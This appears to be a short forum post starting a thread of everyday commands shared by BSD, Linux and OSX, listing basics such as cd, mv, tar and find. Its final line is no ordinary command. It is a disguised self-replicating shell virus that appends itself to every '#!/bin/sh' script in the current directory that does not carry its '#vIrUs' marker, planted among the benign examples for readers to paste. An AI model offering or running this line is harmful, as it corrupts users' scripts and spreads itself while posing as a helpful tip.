Post here commands common to POSIX BSD OSX and linux systems

[Martiini]

Let's start thread listing all common commands and interesting command line sentences common to BSD UNIX linux and OSX! (and maybe even Google)
i.e. interesting UNIX/POSIX commands and logical expressions that can be used DAILY in UNIX BSD OSX AND LINUX.

e.g.:

$ help | less

echo
cd ..
mv
cp
dd
tar
kill
alias
find
fsck
tail

tail -1 $0|tee -a `grep -l ^#!/bin/sh \`{ls;grep -l #vIrUs *}|sort|uniq -u'\``>/dev/null 2>&1 #iFollowBack